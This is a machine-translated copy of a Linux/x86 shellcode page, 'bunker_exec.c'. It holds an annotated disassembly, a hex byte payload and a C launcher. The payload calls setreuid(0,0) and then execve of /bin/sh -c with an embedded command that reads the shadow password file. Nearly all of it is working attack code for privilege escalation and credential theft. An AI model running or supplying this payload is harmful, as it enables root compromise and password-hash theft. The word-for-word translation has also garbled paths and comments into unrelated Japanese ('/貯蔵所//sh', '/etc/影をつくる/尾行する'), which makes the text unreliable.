このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - setreuid(0, 0) + execve(/貯蔵所//sh, [/貯蔵所//sh, -c, cmd], NULL);
/*
 * bunker_exec.c V1.3 - Tue 損なう 21 22:50:18 CET 2006
 *
 * Linux/x86 bytecode that 遂行する/発効させるs 命令(する) after setreuid
 * (9 + 40 bytes + cmd)
 * 
 * setreuid(0, 0) + execve("/貯蔵所//sh", ["/貯蔵所//sh","-c","cmd"], NULL);
 *
 * "cmd" MUST be 終結させるd with ";" (better with ";出口;" :-D)
 *
 * (船に)燃料を積み込む/(軍)地下えんぺい壕 - http://rawlab.mindcreations.com
 * 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
 *
 * setreuid(0, 0);
 * 00000000  6a46              押し進める byte +0x46
 * 00000002  58                pop eax
 * 00000003  31db              xor ebx,ebx
 * 00000005  31c9              xor ecx,ecx
 * 00000007  cd80              int 0x80
 *
 * execve("/貯蔵所//sh", ["/貯蔵所//sh", "-c", "cmd"], NULL);
 * 00000009  eb21              jmp short 0x2c
 * 0000000b  5f                pop edi
 * 0000000c  6a0b              押し進める byte +0xb
 * 0000000e  58                pop eax
 * 0000000f  99                cdq
 * 00000010  52                押し進める edx
 * 00000011  66682d63          押し進める word 0x632d
 * 00000015  89e6              mov esi,esp
 * 00000017  52                押し進める edx
 * 00000018  682f2f7368        押し進める dword 0x68732f2f
 * 0000001d  682f62696e        押し進める dword 0x6e69622f
 * 00000022  89e3              mov ebx,esp
 * 00000024  52                押し進める edx
 * 00000025  57                押し進める edi
 * 00000026  56                押し進める esi
 * 00000027  53                押し進める ebx
 * 00000028  89e1              mov ecx,esp
 * 0000002a  cd80              int 0x80
 * 0000002c  e8daffffff        call 0xb
 * 00000031  ....              "cmd; 出口;"
 */

char sc[]=
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" 
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
"cat /etc/影をつくる/尾行する; 出口;";

main() { int(*f)()=(int(*)())sc;f(); }